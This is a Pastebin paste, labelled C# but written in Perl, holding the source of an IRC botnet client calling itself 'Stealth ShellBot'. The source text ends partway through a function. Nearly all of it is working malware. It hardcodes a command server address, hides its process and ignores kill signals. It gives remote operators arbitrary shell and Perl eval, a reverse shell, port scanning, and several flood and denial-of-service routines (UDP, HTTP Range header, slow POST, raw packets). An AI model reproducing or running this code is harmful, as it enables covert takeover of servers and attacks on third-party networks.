dreamcatcher

Untitled

Sep 17th, 2014
361
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 25.12 KB | None | 0 0
  1. $p = "";
  2. for ($k=0;$k<1300;$k++) {
  3.         $p .= ",5-$k";
  4. }
  5. my @ps = (" ");
  6. my $processo = $ps[rand scalar @ps];
  7. $servidor='194.24.228.203' unless $servidor;
  8. my $porta='443';
  9. my @canais=("#allornothing");
  10. my @adms=("Kelevra");
  11. my $linas_max=10;
  12. my $sleep=5;
  13. my $nick = getnick();
  14. my $ircname = "bends";
  15. my $realname = `uname -vr`;
  16. my $uname = `uname -a`;
  17. my $acessoshell = 1;
  18. ######## Stealth ShellBot ##########
  19. my $prefixo = "!x";
  20. my $estatisticas = 0;
  21. my $pacotes = 1;
  22. my $VERSAO = '0.3b';
  23. $SIG{'INT'} = 'IGNORE';
  24. $SIG{'HUP'} = 'IGNORE';
  25. $SIG{'TERM'} = 'IGNORE';
  26. $SIG{'CHLD'} = 'IGNORE';
  27. $SIG{'PS'} = 'IGNORE';
  28. use IO::Socket;
  29. use Socket;
  30. use IO::Select;
  31. $servidor="$ARGV[0]" if $ARGV[0];
  32. $0="$processo"."\0";
  33. my $pid=fork;
  34. exit if $pid;
  35. die "Problema en PID: $!" unless defined($pid);
  36.  
  37. my %irc_servers;
  38. my %DCC;
  39. my $dcc_sel = new IO::Select->new();
  40.  
  41. #####################
  42. # Stealth Shellbot  #
  43. #####################
  44.  
  45. sub getnick {
  46.   return "Rizee|PLK|04|".int(rand(8999)+1000);
  47. }
  48.  
  49.  
  50. $sel_cliente = IO::Select->new();
  51. sub sendraw {
  52.   if ($#_ == '1') {
  53.     my $socket = $_[0];
  54.     print $socket "$_[1]\n";
  55.   } else {
  56.       print $IRC_cur_socket "$_[0]\n";
  57.   }
  58. }
  59.  
  60. sub conectar {
  61.    my $meunick = $_[0];
  62.    my $servidor_con = $_[1];
  63.    my $porta_con = $_[2];
  64.  
  65.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  66.    if (defined($IRC_socket)) {
  67.      $IRC_cur_socket = $IRC_socket;
  68.  
  69.      $IRC_socket->autoflush(1);
  70.      $sel_cliente->add($IRC_socket);
  71.  
  72.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  73.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  74.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  75.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  76.      nick("$meunick");
  77.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  78.      sleep 2;
  79.    }
  80.  
  81. }
  82. my $line_temp;
  83. while( 1 ) {
  84.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  85.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  86.    &DCC::connections;
  87.    my @ready = $sel_cliente->can_read(0.6);
  88.    next unless(@ready);
  89.    foreach $fh (@ready) {
  90.      $IRC_cur_socket = $fh;
  91.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  92.      $nread = sysread($fh, $msg, 4096);
  93.      if ($nread == 0) {
  94.         $sel_cliente->remove($fh);
  95.         $fh->close;
  96.         delete($irc_servers{$fh});
  97.      }
  98.      @lines = split (/\n/, $msg);
  99.  
  100.      for(my $c=0; $c<= $#lines; $c++) {
  101.        $line = $lines[$c];
  102.        $line=$line_temp.$line if ($line_temp);
  103.        $line_temp='';
  104.        $line =~ s/\r$//;
  105.        unless ($c == $#lines) {
  106.          parse("$line");
  107.        } else {
  108.            if ($#lines == 0) {
  109.              parse("$line");
  110.            } elsif ($lines[$c] =~ /\r$/) {
  111.                parse("$line");
  112.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  113.                parse("$line");
  114.            } else {
  115.                $line_temp = $line;
  116.            }
  117.        }
  118.       }
  119.    }
  120. }
  121.  
  122. sub parse {
  123.    my $servarg = shift;
  124.    if ($servarg =~ /^PING \:(.*)/) {
  125.      sendraw("PONG :$1");
  126.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  127.        my $pn=$1; my $onde = $4; my $args = $5;
  128.        if ($args =~ /^\001VERSION\001$/) {
  129.          notice("$pn", "");
  130.        }
  131.        elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  132.          notice("$pn", "\001PONG\001");
  133.        }
  134.        elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  135.          if ($onde eq "$meunick"){
  136.            shell("$pn", "$args");
  137.          }
  138.          elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
  139.             my $natrix = $1;
  140.             my $arg = $2;
  141.             if ($arg =~ /^\!(.*)/) {
  142.               ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
  143.             } elsif ($arg =~ /^\@(.*)/) {
  144.                 $ondep = $onde;
  145.                 $ondep = $pn if $onde eq $meunick;
  146.                 bfunc("$ondep","$1");
  147.             } else {
  148.                 shell("$onde", "$arg");
  149.             }
  150.          }
  151.        }
  152.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  153.        if (lc($1) eq lc($meunick)) {
  154.          $meunick=$4;
  155.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  156.        }
  157.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  158.        $meunick = getnick();
  159.        nick("$meunick");
  160.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  161.        $meunick = $2;
  162.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  163.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  164.        foreach my $canal (@canais) {
  165.          sendraw("JOIN $canal");
  166.         sendraw("PRIVMSG $canal $uname");
  167.  
  168.        }
  169.    }
  170. }
  171.  
  172. sub bfunc {
  173.   my $printl = $_[0];
  174.   my $funcarg = $_[1];
  175.   if (my $pid = fork) {
  176.      waitpid($pid, 0);
  177.   } else {
  178.       if (fork) {
  179.          exit;
  180.        } else {
  181.            if ($funcarg =~ /^pscan (.*)/) {
  182.              my $hostip="$1";
  183.              my @portas=("21","22","23","25","53","59","79","80","110","113","135","139","443","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
  184.              my (@aberta, %porta_banner);
  185.              foreach my $porta (@portas)  {
  186.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  187.                 if ($scansock) {
  188.                    push (@aberta, $porta);
  189.                    $scansock->close;
  190.                 }
  191.              }
  192.              if (@aberta) {
  193.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Puertos Abiertos: @aberta");
  194.              } else {
  195.                  sendraw($IRC_cur_socket,"PRIVMSG $printl :Ning�n puerto fue encontrado.");
  196.              }
  197.            }
  198.  
  199.            elsif ($funcarg =~ /^portscan\s+(.*)\s+(\d+)\s+(\d+)/) {
  200.              my $hostname="$1";
  201.              my $portainicial = "$2";
  202.              my $portafinal = "$3";
  203.              my (@abertas, %porta_banner);
  204.              foreach my $porta ($portainicial..$portafinal)
  205.              {
  206.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  207.                if ($scansock) {
  208.                  push (@abertas, $porta);
  209.                  $scansock->close;
  210.                  sendraw($IRC_cur_socket, "PRIVMSG $printl :Puerco $porta abierto en $hostname");
  211.                }
  212.              }
  213.              if (@abertas) {
  214.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Puertos abiertos: @abertas");
  215.              } else {
  216.                sendraw($IRC_cur_socket,"PRIVMSG $printl :No se encontr� ningun puerto abierto.");
  217.              }
  218.             }
  219.  
  220.             # Duas Vers?es simplificada do meu Tr0x ;D
  221.             elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  222.               return unless $pacotes;
  223.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  224.               my $alvo=inet_aton("$1");
  225.               my $porta = "$2";
  226.               my $tempo = "$3";
  227.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002: iniciado en $1: tiempo: $tempo");
  228.               my $pacote;
  229.               my $pacotese;
  230.               my $fim = time + $tempo;
  231.               my $pacota = 1;
  232.               while (($pacota == "1")) {
  233.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  234.                 $pacote=$rand x $rand x $rand;
  235.                 $porta = int(rand 65000) +1 if ($porta == "0");
  236.                 send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++;
  237.               }
  238.                sendraw($IRC_cur_socket, "PRIVMSG $printl :[UDP] Terminado $1 tiempo: $tempo"."segs solicitudes: $pacotese");
  239.             }
  240.            
  241.             elsif ($funcarg =~ /^arme\s+(.*)\s+(\d+)\s+(\d+)/) {
  242.               return unless $pacotes;
  243.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  244.               my $alvo=inet_aton("$1");
  245.               my $porta = "$2";
  246.               my $tempo = "$3";
  247.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[ARME]\002 Starting flood in: $1 Time: $tempo");
  248.               my $pacote;
  249.               my $pacotese;
  250.               my $fim = time + $tempo;
  251.               my $pacota = 1;
  252.               while (($pacota == "1")) {
  253.               $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  254. $x = "";
  255. my $sock = IO::Socket::INET->new(PeerAddr => "$1",
  256.                                  PeerPort => "80",
  257.                                          Proto    => 'tcp');
  258. $puta = "HEAD / HTTP/1.1\r\nHost: $1\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
  259. print $sock $puta;
  260.               }
  261.                #sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  262.                #sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  263.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[ARME]\002 Finished in $1");
  264.             }
  265.             elsif ($funcarg =~ /^slowpost\s+(.*)\s+(\d+)\s+(\d+)/) {
  266.               return unless $pacotes;
  267.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  268.               my $alvo=inet_aton("$1");
  269.               my $porta = "$2";
  270.               my $tempo = "$3";
  271.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SlowPost]\002 Starting flood in: $1 Time: $tempo");
  272.               my $pacote;
  273.               my $pacotese;
  274.               my $fim = time + $tempo;
  275.               my $pacota = 1;
  276.               while (($pacota == "1")) {
  277.               $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  278. $x = "";
  279. my $sock = IO::Socket::INET->new(PeerAddr => "$1",
  280.                                  PeerPort => "80",
  281.                                          Proto    => 'tcp');
  282. $puta = "POST / HTTP/1.1\r\nHost: $1\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)\r\nConnection: keep-alive\r\nKeep-Alive: 900\r\nContent-Length: 10000\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n";
  283. print $sock $puta;
  284.               }
  285.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SlowPost]\002 Finished in $1");
  286.             }
  287.             elsif ($funcarg =~ /^backconnect\s+(.*)\s+(\d+)/) {
  288.               my $host = "$1";
  289.               my $porta = "$2";
  290.               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando a\002: $host:$porta");
  291.               my $proto = getprotobyname('tcp');
  292.               my $iaddr = inet_aton($host);
  293.               my $paddr = sockaddr_in($porta, $iaddr);
  294.               my $shell = "/bin/sh -i";
  295.               if ($^O eq "MSWin32") {
  296.                 $shell = "cmd.exe";
  297.               }
  298.               socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  299.               connect(SOCKET, $paddr) or die "connect: $!";
  300.               open(STDIN, ">&SOCKET");
  301.               open(STDOUT, ">&SOCKET");
  302.               open(STDERR, ">&SOCKET");
  303.               system("$shell");
  304.               close(STDIN);
  305.               close(STDOUT);
  306.               close(STDERR);
  307.             }
  308.            elsif ($funcarg =~ /^info/) {
  309.            my $sysos = `uname -sr`;
  310.            my $uptime = `uptime`;
  311.            if ( $sysos =~ /freebsd/i ) {
  312.            $sysname = `hostname`;
  313.            $memory = `expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`;
  314.            $swap = `$toploc | grep -i swap | cut -f2 -d" " | cut -f1 -d"M"`;
  315.            chomp($memory);
  316.            chomp($swap);
  317.            }
  318.            elsif ( $sysos =~ /linux/i ) {
  319.            $sysname = `hostname -f`;
  320.            $memory = `free -m |grep -i mem | awk '{print \$2}'`;
  321.            $swap = `free -m |grep -i swap | awk '{print \$2}'`;
  322.            chomp($swap);
  323.            chomp($memory);
  324.            }
  325.            else {
  326.            $sysname ="Not Found";;
  327.            $memory ="Not found";
  328.            $swap ="Not Found";
  329.            }
  330.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 15--- 3[01 SysInfo 3] 15-------------");
  331.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 01os/host15;01 $sysos - $sysname ");
  332.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 01proc/PID15;01 $processo - $$");
  333.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 01uptime15;01 $uptime");
  334.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 01memory/swap15;01 $memory - $swap");
  335.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 01perl/bot15;01 $] - $VERSAO");
  336.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 15--- 3[01 /SysInfo 3] 15------------");
  337.            }
  338.            exit;
  339.     }
  340.   }
  341. }
  342.  
  343. sub ircase {
  344.   my ($kem, $printl, $case) = @_;
  345.  
  346.    if ($case =~ /^join (.*)/) {
  347.      j("$1");
  348.    }
  349.    elsif ($case =~ /^part (.*)/) {
  350.       p("$1");
  351.    }
  352.    elsif ($case =~ /^rejoin\s+(.*)/) {
  353.       my $chan = $1;
  354.       if ($chan =~ /^(\d+) (.*)/) {
  355.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  356.           p("$2");
  357.           j("$2");
  358.         }
  359.       } else {
  360.           p("$chan");
  361.           j("$chan");
  362.       }
  363.    }
  364.    elsif ($case =~ /^op/) {
  365.       op("$printl", "$kem") if $case eq "op";
  366.       my $oarg = substr($case, 3);
  367.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  368.    }
  369.    elsif ($case =~ /^deop/) {
  370.       deop("$printl", "$kem") if $case eq "deop";
  371.       my $oarg = substr($case, 5);
  372.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  373.    }
  374.    elsif ($case =~ /^voice/) {
  375.       voice("$printl", "$kem") if $case eq "voice";
  376.       $oarg = substr($case, 6);
  377.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  378.    }
  379.    elsif ($case =~ /^devoice/) {
  380.       devoice("$printl", "$kem") if $case eq "devoice";
  381.       $oarg = substr($case, 8);
  382.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  383.    }
  384.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  385.       msg("$1", "$2");
  386.    }
  387.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  388.       for (my $cf = 1; $cf <= $1; $cf++) {
  389.         msg("$2", "$3");
  390.       }
  391.    }
  392.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  393.       for (my $cf = 1; $cf <= $1; $cf++) {
  394.         ctcp("$2", "$3");
  395.       }
  396.    }
  397.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  398.       ctcp("$1", "$2");
  399.    }
  400.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  401.       invite("$1", "$2");
  402.    }
  403.    elsif ($case =~ /^nick (.*)/) {
  404.       nick("$1");
  405.    }
  406.    elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
  407.        conectar("$2", "$1", 6667);
  408.    }
  409.    elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  410.       DCC::SEND("$1", "$2");
  411.    }
  412.    elsif ($case =~ /^raw (.*)/) {
  413.       sendraw("$1");
  414.    }
  415.    elsif ($case =~ /^eval (.*)/) {
  416.       eval "$1";
  417.    }
  418.    elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
  419.     sleep int(rand($2));
  420.     j("$1");
  421.    }
  422.    elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
  423.     sleep int(rand($2));
  424.     p("$1");
  425.    }
  426.    elsif ($case =~ /^sair/) {
  427.      quit();
  428.    }
  429.    elsif ($case =~ /^novonick/) {
  430.     my $novonick = getnick();
  431.      nick("$novonick");
  432.    }
  433.    elsif ($case =~ /^estatisticas (.*)/) {
  434.      if ($1 eq "on") {
  435.       $estatisticas = 1;
  436.       msg("$printl", "Estat?sticas ativadas!");
  437.      } elsif ($1 eq "off") {
  438.       $estatisticas = 0;
  439.       msg("$printl", "Estat?sticas desativadas!");
  440.      }
  441.    }
  442.    elsif ($case =~ /^pacotes (.*)/) {
  443.      if ($1 eq "on") {
  444.       $pacotes = 1;
  445.       msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
  446.      } elsif ($1 eq "off") {
  447.       $pacotes = 0;
  448.       msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
  449.      }
  450.    }
  451. }
  452. sub shell {
  453.   return unless $acessoshell;
  454.   my $printl=$_[0];
  455.   my $comando=$_[1];
  456.   if ($comando =~ /cd (.*)/) {
  457.     chdir("$1") || msg("$printl", "Diret?rio inexistente!");
  458.     return;
  459.   }
  460.   elsif ($pid = fork) {
  461.      waitpid($pid, 0);
  462.   } else {
  463.       if (fork) {
  464.          exit;
  465.        } else {
  466.            my @resp=`$comando 2>&1 3>&1`;
  467.            my $c=0;
  468.            foreach my $linha (@resp) {
  469.              $c++;
  470.              chop $linha;
  471.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  472.              if ($c >= "$linas_max") {
  473.                $c=0;
  474.                sleep $sleep;
  475.              }
  476.            }
  477.            exit;
  478.        }
  479.   }
  480. }
  481. sub attacker {
  482.   my $iaddr = inet_aton($_[0]);
  483.   my $msg = 'B' x $_[1];
  484.   my $ftime = $_[2];
  485.   my $cp = 0;
  486.   my (%pacotes);
  487.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  488.  
  489.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  490.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  491.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  492.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  493.   return(undef) if $cp == 4;
  494.   my $itime = time;
  495.   my ($cur_time);
  496.   while ( 1 ) {
  497.      for (my $porta = 1; $porta <= 65535; $porta++) {
  498.        $cur_time = time - $itime;
  499.        last if $cur_time >= $ftime;
  500.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  501.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  502.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  503.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  504.  
  505.        # DoS ?? :P
  506.        for (my $pc = 3; $pc <= 255;$pc++) {
  507.          next if $pc == 6;
  508.          $cur_time = time - $itime;
  509.          last if $cur_time >= $ftime;
  510.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  511.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  512.        }
  513.      }
  514.      last if $cur_time >= $ftime;
  515.   }
  516.   return($cur_time, %pacotes);
  517. }
  518.  
  519. #############
  520. #  ALIASES  #
  521. #############
  522.  
  523. sub action {
  524.    return unless $#_ == 1;
  525.    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  526. }
  527.  
  528. sub ctcp {
  529.    return unless $#_ == 1;
  530.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  531. }
  532. sub msg {
  533.    return unless $#_ == 1;
  534.    sendraw("PRIVMSG $_[0] :$_[1]");
  535. }
  536.  
  537. sub notice {
  538.    return unless $#_ == 1;
  539.    sendraw("NOTICE $_[0] :$_[1]");
  540. }
  541.  
  542. sub op {
  543.    return unless $#_ == 1;
  544.    sendraw("MODE $_[0] +o $_[1]");
  545. }
  546. sub deop {
  547.    return unless $#_ == 1;
  548.    sendraw("MODE $_[0] -o $_[1]");
  549. }
  550. sub hop {
  551.     return unless $#_ == 1;
  552.    sendraw("MODE $_[0] +h $_[1]");
  553. }
  554. sub dehop {
  555.    return unless $#_ == 1;
  556.    sendraw("MODE $_[0] +h $_[1]");
  557. }
  558. sub voice {
  559.    return unless $#_ == 1;
  560.    sendraw("MODE $_[0] +v $_[1]");
  561. }
  562. sub devoice {
  563.    return unless $#_ == 1;
  564.    sendraw("MODE $_[0] -v $_[1]");
  565. }
  566. sub ban {
  567.    return unless $#_ == 1;
  568.    sendraw("MODE $_[0] +b $_[1]");
  569. }
  570. sub unban {
  571.    return unless $#_ == 1;
  572.    sendraw("MODE $_[0] -b $_[1]");
  573. }
  574. sub kick {
  575.    return unless $#_ == 1;
  576.    sendraw("KICK $_[0] $_[1] :$_[2]");
  577. }
  578.  
  579. sub modo {
  580.    return unless $#_ == 0;
  581.    sendraw("MODE $_[0] $_[1]");
  582. }
  583. sub mode { modo(@_); }
  584.  
  585. sub j { &join(@_); }
  586. sub join {
  587.    return unless $#_ == 0;
  588.    sendraw("JOIN $_[0]");
  589. }
  590. sub p { part(@_); }
  591. sub part {sendraw("PART $_[0]");}
  592.  
  593. sub nick {
  594.   return unless $#_ == 0;
  595.   sendraw("NICK $_[0]");
  596. }
  597.  
  598. sub invite {
  599.    return unless $#_ == 1;
  600.    sendraw("INVITE $_[1] $_[0]");
  601. }
  602. sub topico {
  603.    return unless $#_ == 1;
  604.    sendraw("TOPIC $_[0] $_[1]");
  605. }
  606. sub topic { topico(@_); }
  607.  
  608. sub whois {
  609.   sendraw("WHOIS $_[0]");
  610. }
  611. sub who {
  612.   return unless $#_ == 0;
  613.   sendraw("WHO $_[0]");
  614. }
  615. sub names {
  616.   return unless $#_ == 0;
  617.   sendraw("NAMES $_[0]");
  618. }
  619. sub away {
  620.   sendraw("AWAY $_[0]");
  621. }
  622. sub back { away(); }
  623. sub quit {
  624.   sendraw("QUIT :$_[0]");
  625.   exit;
  626. }
  627.  
  628. # DCC
  629. package DCC;
  630.  
  631. sub connections {
  632.    my @ready = $dcc_sel->can_read(1);
  633. #   return unless (@ready);
  634.    foreach my $fh (@ready) {
  635.      my $dcctipo = $DCC{$fh}{tipo};
  636.      my $arquivo = $DCC{$fh}{arquivo};
  637.      my $bytes = $DCC{$fh}{bytes};
  638.      my $cur_byte = $DCC{$fh}{curbyte};
  639.      my $nick = $DCC{$fh}{nick};
  640.  
  641.      my $msg;
  642.      my $nread = sysread($fh, $msg, 10240);
  643.  
  644.      if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  645.         $DCC{$fh}{status} = "Cancelado";
  646.         $DCC{$fh}{ftime} = time;
  647.         $dcc_sel->remove($fh);
  648.         $fh->close;
  649.         next;
  650.      }
  651.  
  652.      if ($dcctipo eq "get") {
  653.         $DCC{$fh}{curbyte} += length($msg);
  654.  
  655.         my $cur_byte = $DCC{$fh}{curbyte};
  656.  
  657.         open(FILE, ">> $arquivo");
  658.         print FILE "$msg" if ($cur_byte <= $bytes);
  659.         close(FILE);
  660.  
  661.         my $packbyte = pack("N", $cur_byte);
  662.         print $fh "$packbyte";
  663.  
  664.         if ($bytes == $cur_byte) {
  665.            $dcc_sel->remove($fh);
  666.            $fh->close;
  667.            $DCC{$fh}{status} = "Recebido";
  668.            $DCC{$fh}{ftime} = time;
  669.            next;
  670.         }
  671.      } elsif ($dcctipo eq "send") {
  672.           my $send = $fh->accept;
  673.           $send->autoflush(1);
  674.           $dcc_sel->add($send);
  675.           $dcc_sel->remove($fh);
  676.           $DCC{$send}{tipo} = 'sendcon';
  677.           $DCC{$send}{itime} = time;
  678.           $DCC{$send}{nick} = $nick;
  679.           $DCC{$send}{bytes} = $bytes;
  680.           $DCC{$send}{curbyte} = 0;
  681.           $DCC{$send}{arquivo} = $arquivo;
  682.           $DCC{$send}{ip} = $send->peerhost;
  683.           $DCC{$send}{porta} = $send->peerport;
  684.           $DCC{$send}{status} = "Enviando";
  685.  
  686.           #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
  687.           open(FILE, "< $arquivo");
  688.           my $fbytes;
  689.           read(FILE, $fbytes, 1024);
  690.           print $send "$fbytes";
  691.           close FILE;
  692. #          delete($DCC{$fh});
  693.      } elsif ($dcctipo eq 'sendcon') {
  694.           my $bytes_sended = unpack("N", $msg);
  695.           $DCC{$fh}{curbyte} = $bytes_sended;
  696.           if ($bytes_sended == $bytes) {
  697.              $fh->close;
  698.              $dcc_sel->remove($fh);
  699.              $DCC{$fh}{status} = "Enviado";
  700.              $DCC{$fh}{ftime} = time;
  701.              next;
  702.           }
  703.           open(SENDFILE, "< $arquivo");
  704.           seek(SENDFILE, $bytes_sended, 0);
  705.           my $send_bytes;
  706.           read(SENDFILE, $send_bytes, 1024);
  707.           print $fh "$send_bytes";
  708.           close(SENDFILE);
  709.      }
  710.    }
  711. }
  712.  
  713.  
  714. sub SEND {
  715.   my ($nick, $arquivo) = @_;
  716.   unless (-r "$arquivo") {
  717.     return(0);
  718.   }
  719.  
  720.   my $dccark = $arquivo;
  721.   $dccark =~ s/[.*\/](\S+)/$1/;
  722.  
  723.   my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  724.   my $longip = unpack("N",inet_aton($meuip));
  725.  
  726.   my @filestat = stat($arquivo);
  727.   my $size_total=$filestat[7];
  728.   if ($size_total == 0) {
  729.      return(0);
  730.   }
  731.  
  732.   my ($porta, $sendsock);
  733.   do {
  734.     $porta = int rand(64511);
  735.     $porta += 1024;
  736.     $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  737.   } until $sendsock;
  738.  
  739.   $DCC{$sendsock}{tipo} = 'send';
  740.   $DCC{$sendsock}{nick} = $nick;
  741.   $DCC{$sendsock}{bytes} = $size_total;
  742.   $DCC{$sendsock}{arquivo} = $arquivo;
  743.  
  744.  
  745.   &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  746.  
  747. }
  748.  
  749. sub GET {
  750.   my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  751.   return(0) if (-e "$arquivo");
  752.   if (open(FILE, "> $arquivo")) {
  753.      close FILE;
  754.   } else {
  755.     return(0);
  756.   }
  757.  
  758.   my $dccip=fixaddr($dcclongip);
  759.   return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  760.   my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  761.   $dccsock->autoflush(1);
  762.   $dcc_sel->add($dccsock);
  763.   $DCC{$dccsock}{tipo} = 'get';
  764.   $DCC{$dccsock}{itime} = time;
  765.   $DCC{$dccsock}{nick} = $nick;
  766.   $DCC{$dccsock}{bytes} = $bytes;
  767.   $DCC{$dccsock}{curbyte} = 0;
  768.   $DCC{$dccsock}{arquivo} = $arquivo;
  769.   $DCC{$dccsock}{ip} = $dccip;
  770.   $DCC{$dccsock}{porta} = $dccporta;
  771.   $DCC{$dccsock}{status} = "Recebendo";
  772. }
  773.  
  774. # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
  775. sub Status {
  776.   my $socket = shift;
  777.   my $sock_tipo = $DCC{$socket}{tipo};
  778.   unless (lc($sock_tipo) eq "chat") {
  779.     my $nick = $DCC{$socket}{nick};
  780.     my $arquivo = $DCC{$socket}{arquivo};
  781.     my $itime = $DCC{$socket}{itime};
  782.     my $ftime = time;
  783.     my $status = $DCC{$socket}{status};
  784.     $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  785.  
  786.     my $d_time = $ftime-$itime;
  787.  
  788.     my $cur_byte = $DCC{$socket}{curbyte};
  789.     my $bytes_total =  $DCC{$socket}{bytes};
  790.  
  791.     my $rate = 0;
  792.     $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  793.     my $porcen = ($cur_byte*100)/$bytes_total;
  794.  
  795.     my ($r_duv, $p_duv);
  796.     if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  797.        $r_duv = $3; $r_duv++ if $4 >= 5;
  798.        $rate = "$1\.$2"."$r_duv";
  799.     }
  800.     if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  801.        $p_duv = $3; $p_duv++ if $4 >= 5;
  802.        $porcen = "$1\.$2"."$p_duv";
  803.     }
